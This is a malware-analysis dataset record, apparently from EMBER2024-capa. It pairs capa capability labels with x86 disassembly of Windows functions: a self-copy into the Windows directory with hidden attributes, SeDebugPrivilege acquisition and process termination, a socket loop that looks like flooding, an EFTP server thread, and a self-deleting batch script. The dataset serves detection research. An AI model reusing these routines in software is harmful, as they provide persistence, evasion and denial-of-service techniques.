joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407333
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440a30]
jne 0x40733d
repz ret
jmp fcn.0040a0cf

Function at 0x409c5f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405a28
and dword [ebp - 4], 0
cmp dword [0x4418e0], 0
mov ebx, eax
jne 0x409d10
push 0x402378
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409dc1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40236c
push edi
call esi
test eax, eax
je 0x409dc1
push eax
call fcn.004059b6
mov dword [esp], 0x40235c
push edi
mov dword [0x4418e0], eax
call esi
push eax
call fcn.004059b6
mov dword [esp], 0x402348
push edi
mov dword [0x4418e4], eax
call esi
push eax
call fcn.004059b6
mov dword [esp], 0x40232c
push edi
mov dword [0x4418e8], eax
call esi
push eax
call fcn.004059b6
pop ecx
mov dword [0x4418f0], eax
test eax, eax
je 0x409d10
push 0x402314
push edi
call esi
push eax
call fcn.004059b6
pop ecx
mov dword [0x4418ec], eax
mov eax, dword [0x4418ec]
cmp eax, ebx
je 0x409d68
cmp dword [0x4418f0], ebx
je 0x409d68
push eax
call fcn.00405a31
push dword [0x4418f0]
mov esi, eax
call fcn.00405a31
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409d68
test edi, edi
je 0x409d68
call esi
test eax, eax
je 0x409d5f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409d5f
test byte [ebp - 0xc], 1
jne 0x409d68
or dword [ebp + 0x10], 0x200000
jmp 0x409da1
mov eax, dword [0x4418e4]
cmp eax, ebx
je 0x409da1
push eax
call fcn.00405a31
pop ecx
test eax, eax
je 0x409da1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409da1
mov eax, dword [0x4418e8]
cmp eax, ebx
je 0x409da1
push eax
call fcn.00405a31
pop ecx
test eax, eax
je 0x409da1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4418e0]
call fcn.00405a31
pop ecx
test eax, eax
je 0x409dc1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409dc3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401562
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xb4], 0xffffffff
je 0x4016bc
mov eax, dword [ebp + 0xb4]
shl eax, 6
cmp dword [eax + 0x4141fc], 0
je 0x4016bc
push 5
call fcn.0040fbc2
pop ecx
test eax, eax
jne 0x4016bc
cmp dword [0x41cfd8], 0
jne 0x4015cc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xbbff
idiv ecx
add edx, 0x400
mov dword [0x419ca4], edx
jmp 0x4015d8
movzx eax, word [0x418414]
mov dword [0x419ca4], eax
and dword [0x419ca0], 0
push 0x104
push 0x419a94
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
push str.n2m8.exe
push 0x419b98
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
and dword [0x419d34], 0
push 0x7f
lea eax, [ebp + 0x18]
push eax
push 0x419ca8
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
mov eax, dword [ebp + 0xb8]
mov dword [0x419d2c], eax
mov eax, dword [ebp + 0xbc]
mov dword [0x419d30], eax
mov eax, dword [ebp + 0xd0]
mov dword [0x419d38], eax
push 0x419a94
push dword [0x419ca4]
push str.EFTP__
push str._s_Server_started__Port:__i__File:__s.
push 5
call fcn.0040f822
add esp, 0x14
mov dword [0x419c9c], eax
lea eax, [ebp - 4]
push eax
push 0
push 0x419a90
push 0x4077b9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x419c9c]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [0x419c9c]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x4016bc
cmp dword [0x419d34], 0
jne 0x4016bc
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4016a9
leave
ret
Function at 0x405ef4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x41c68c]
cmp eax, dword [0x41c688]
jl 0x405f38
and dword [0x41c68c], 0
push dword [0x41c7c4]
push 0x2800
push 1
push 0x419e84
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [0x41c688], eax
cmp dword [0x41c688], 0
jg 0x405f38
xor al, al
jmp 0x405f50
mov eax, dword [0x41c68c]
mov al, byte [eax + 0x419e84]
mov ecx, dword [0x41c68c]
inc ecx
mov dword [0x41c68c], ecx
pop ebp
ret

Function at 0x405ff6
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jb 0x406016
mov eax, dword [ebp - 4]
and eax, 0x10
test eax, eax
jne 0x40601a
xor eax, eax
jmp 0x40601d
push 1
pop eax
leave
ret
Function at 0x406799
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push esi
push edi
push 0x10
pop ecx
mov esi, str.SOFTWAREClientsStartMenuInternet_firefox.exe_shellopencommand
lea edi, [ebp - 0x150]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov al, byte [0x41c7cc]
mov byte [ebp - 0x10c], al
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and dword [ebp - 8], 0
mov dword [ebp - 0x154], 0x104
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x150]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x406807
xor eax, eax
jmp 0x406942
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x15c]
push eax
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40683d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x406942
cmp dword [ebp - 0x154], 0
jbe 0x406851
movsx eax, byte [ebp - 0x10c]
test eax, eax
jne 0x406861
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x406942
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsx eax, byte [ebp - 0x10c]
cmp eax, 0x22
jne 0x4068be
and dword [ebp - 0x160], 0
jmp 0x40688c
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
cmp dword [ebp - 0x160], eax
jae 0x4068be
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x160]
mov cl, byte [ebp + ecx - 0x10b]
mov byte [ebp + eax - 0x10c], cl
jmp 0x40687f
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
mov dword [ebp - 0x158], eax
jmp 0x4068e1
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jle 0x40690f
mov eax, dword [ebp - 0x158]
movsx eax, byte [ebp + eax - 0x10c]
cmp eax, 0x5c
jne 0x40690d
mov eax, dword [ebp - 0x158]
and byte [ebp + eax - 0x10c], 0
jmp 0x40690f
jmp 0x4068d4
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40693f
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret
Function at 0x4081e1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x111c
call fcn.00411cc0
and dword [ebp - 0x110c], 0
mov dword [ebp - 0x1004], 0x1000
push 0x104
lea eax, [ebp - 0x1108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4173ac
lea eax, [ebp - 0x1108]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
pop ecx
mov dword [ebp - 0x110c], eax
and dword [ebp - 0x1114], 0
and dword [ebp - 0x1110], 0
cmp dword [ebp - 0x110c], 0
je 0x408357
push 2
push 0
push dword [ebp - 0x110c]
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
push dword [ebp - 0x110c]
call dword [sym.imp.MSVCRT.dll_ftell]
pop ecx
mov dword [ebp - 0x1110], eax
push 0
push 0
push dword [ebp - 0x110c]
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
and dword [ebp - 0x1118], 0
mov eax, dword [ebp - 0x110c]
mov eax, dword [eax + 0xc]
and eax, 0x10
test eax, eax
jne 0x408357
and dword [ebp - 0x1118], 0
push 0x1000
push 0
lea eax, [ebp - 0x1000]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x110c]
push 0x800
push 1
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 0x1004], eax
mov eax, dword [ebp - 0x110c]
mov eax, dword [eax + 0xc]
and eax, 0x20
test eax, eax
je 0x4082ee
jmp 0x408357
mov eax, dword [ebp - 0x1118]
cmp eax, dword [ebp - 0x1004]
jge 0x408352
push 0
push dword [ebp - 0x1004]
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call dword [0x41cd18]
mov dword [ebp - 0x111c], eax
mov eax, dword [ebp - 0x1114]
add eax, dword [ebp - 0x111c]
mov dword [ebp - 0x1114], eax
or dword [ebp - 0x111c], 0xffffffff
cmp dword [ebp - 0x111c], 0
je 0x40833e
jmp 0x408352
mov eax, dword [ebp - 0x1118]
add eax, dword [ebp - 0x111c]
mov dword [ebp - 0x1118], eax
jmp 0x4082ee
jmp 0x408288
push dword [ebp - 0x110c]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push dword [ebp + 8]
call dword [0x41cd60]
mov eax, dword [ebp - 0x1110]
cmp eax, dword [ebp - 0x1114]
jne 0x408383
mov eax, dword [ebp - 0x1114]
jmp 0x408385
xor eax, eax
leave
ret
Function at 0x409ca4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0x12
push 0
push 0x41c824
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x12
lea eax, [ebp - 0x14]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [ebp - 0x14]
push eax
push 0x4176f8
push 0x41c824
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x41c824
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0x18], eax
jmp 0x409cff
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax + 0x20]
jg 0x409d24
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 0xa
pop ecx
idiv ecx
add edx, 0x30
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x41c824], dl
jmp 0x409cf8
mov eax, 0x41c824
leave
ret

Function at 0x409d2b
Capabilities:
Check os version
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
mov dword [ebp - 0xc4], ecx
push 0x12
push 0
push 0x41c7f0
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x409e4c
cmp dword [ebp - 0x90], 4
jne 0x409da7
cmp dword [ebp - 0x8c], 0
jne 0x409da7
cmp dword [ebp - 0x84], 1
jne 0x409d8f
mov dword [ebp - 0x98], 0x4176fc
cmp dword [ebp - 0x84], 2
jne 0x409da2
mov dword [ebp - 0x98], 0x417700
jmp 0x409e4a
cmp dword [ebp - 0x90], 4
jne 0x409dc8
cmp dword [ebp - 0x8c], 0xa
jne 0x409dc8
mov dword [ebp - 0x98], 0x417704
jmp 0x409e4a
cmp dword [ebp - 0x90], 4
jne 0x409de6
cmp dword [ebp - 0x8c], 0x5a
jne 0x409de6
mov dword [ebp - 0x98], 0x417708
jmp 0x409e4a
cmp dword [ebp - 0x90], 5
jne 0x409e04
cmp dword [ebp - 0x8c], 0
jne 0x409e04
mov dword [ebp - 0x98], 0x41770c
jmp 0x409e4a
cmp dword [ebp - 0x90], 5
jne 0x409e22
cmp dword [ebp - 0x8c], 1
jne 0x409e22
mov dword [ebp - 0x98], 0x417710
jmp 0x409e4a
cmp dword [ebp - 0x90], 5
jne 0x409e40
cmp dword [ebp - 0x8c], 2
jne 0x409e40
mov dword [ebp - 0x98], 0x417714
jmp 0x409e4a
mov dword [ebp - 0x98], 0x417718
jmp 0x409e56
mov dword [ebp - 0x98], 0x41771c
push 0x12
lea eax, [ebp - 0xac]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push dword [ebp - 0x98]
lea eax, [ebp - 0xac]
push eax
push str.__s_s_
push 0x41c7f0
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov eax, 0x41c7f0
leave
ret
Function at 0x409e93
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
push 0x12
push 0
push 0x41c80c
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x24]
and dword [eax + 0x28], 0
mov eax, dword [ebp - 0x24]
and dword [eax + 0x2c], 0
mov eax, dword [ebp - 0x24]
and dword [eax + 0x30], 0
mov ecx, dword [ebp - 0x24]
call fcn.00409f9f
mov dword [ebp - 0x20], eax
push 0x12
lea eax, [ebp - 0x18]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push dword [ebp - 0x20]
push 0x41c80c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x18]
push eax
push 0x41c80c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x417728
push 0x41c80c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x28], 0
je 0x409f27
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x2c], 0
je 0x409f37
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x30], 0
je 0x409f47
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x409f50
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 7
jge 0x409f87
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 0xa
pop ecx
idiv ecx
push edx
push 0x41772c
lea eax, [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x41c80c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x409f49
push 0x417730
push 0x41c80c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, 0x41c80c
leave
ret
Function at 0x40ac60
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], 0x10
and dword [ebp - 4], 0
push dword [ebp + 8]
push 0
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [0x41cc50]
test eax, eax
jne 0x40aca5
push dword [ebp + 8]
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41ccd0]
test eax, eax
jne 0x40aca5
mov eax, dword [ebp + 8]
and dword [eax], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x40ad24
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [0x41cca4]
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0xc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp + 8]
push dword [eax]
call dword [0x41cd30]
test eax, eax
je 0x40ad13
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x40ad0a
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
and dword [eax], 0
jmp 0x40ad11
mov dword [ebp - 4], 1
jmp 0x40ad24
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
and dword [eax], 0
mov eax, dword [ebp - 4]
leave
ret

Function at 0x40ad57
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and byte [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040ac60
pop ecx
pop ecx
push dword [ebp + 8]
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40ada1
push 0
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 4], 1
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040ad29
pop ecx
pop ecx
movzx eax, byte [ebp - 4]
leave
ret
Function at 0x40f64c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov dword [ebp - 0x18], 0x50
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [0x41cce8]
mov word [ebp - 0x12], ax
and dword [ebp - 4], 0
mov dword [ebp - 0x28], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp + 0x14]
jge 0x40f75e
and dword [ebp - 0x1c], 0
jmp 0x40f6b3
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x78
jge 0x40f6f9
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x208], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x208], 0xffffffff
jne 0x40f6de
jmp 0x40f6ac
lea eax, [ebp - 0x28]
push eax
push 0x8004667e
mov eax, dword [ebp - 0x1c]
push dword [ebp + eax*4 - 0x208]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
jmp 0x40f6ac
and dword [ebp - 0x1c], 0
jmp 0x40f706
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x78
jge 0x40f724
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push dword [ebp + eax*4 - 0x208]
call dword [sym.imp.WS2_32.dll_connect]
jmp 0x40f6ff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_Sleep]
and dword [ebp - 0x1c], 0
jmp 0x40f73a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x78
jge 0x40f752
mov eax, dword [ebp - 0x1c]
push dword [ebp + eax*4 - 0x208]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x40f733
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
jmp 0x40f69a
xor eax, eax
leave
ret

Function at 0x40f900
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jle 0x40f9c4
cmp dword [ebp + 8], 0x200
jge 0x40f9c4
push 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
push dword [eax + 0x41d200]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x40f94f
mov dword [ebp - 4], 1
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
and dword [eax + 0x41d200], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
and dword [eax + 0x41d1f4], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
and dword [eax + 0x41d1f8], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
and dword [eax + 0x41d1fc], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
and byte [eax + 0x41cff0], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
push dword [eax + 0x41d204]
call dword [0x41cd60]
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
and dword [eax + 0x41d204], 0
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40fc2e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40fc48
xor eax, eax
jmp 0x40fc4b
push 1
pop eax
leave
ret
Function at 0x4104c9
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x520
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._s_s
push 0x104
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x104]
push eax
call dword [0x41cc88]
push 0x104
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
lea eax, [ebp - 0x30c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x514]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x410627
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x410595
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and dword [ebp - 0x518], 0
and dword [ebp - 0x51c], 0
push 0
lea eax, [ebp - 0x514]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0
jne 0x41060a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x518], 0
jne 0x410606
cmp dword [ebp - 0x520], 0x20
je 0x4105ef
cmp dword [ebp - 0x520], 5
jne 0x410606
mov dword [ebp - 0x518], 1
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x410608
jmp 0x41060a
jmp 0x4105a3
push 7
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x51c], 0
je 0x410627
push 1
pop eax
jmp 0x410629
xor eax, eax
leave
ret
Function at 0x410ad7
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
lea eax, [ebp - 0x610]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
lea eax, [ebp - 0x610]
push eax
push str._s_removeMe_i_i_i_i.bat
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jbe 0x410c47
cmp dword [ebp + 8], 0
jne 0x410bd0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x104]
push eax
push str._echo_off_r_n:Repeat_r_ndel___s__nul_r_nping_0.0.0.0_nul_r_nif_exist___s__goto_Repeat_r_ndel____0__r_n
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x410bfa
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x104]
push eax
push str._echo_off_r_n:Repeat_r_ndel___s__nul_r_nif_exist___s__goto_Repeat_r_ndel____0__r_n
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0
push 0
call dword [0x41cc68]
leave
ret
Function at 0x411ad9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x404], 0
push 0
lea ecx, [ebp - 0x404]
push ecx
push 0x400
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x411b2b
jmp 0x411b5b
cmp dword [ebp - 0x404], 0
jne 0x411b36
jmp 0x411b5b
mov ecx, dword [ebp - 0x404]
push ecx
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp - 0x408]
push eax
call fcn.00411370
add esp, 0xc
mov dword [ebp - 0x408], eax
jmp 0x411afc
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x408]
mov esp, ebp
pop ebp
ret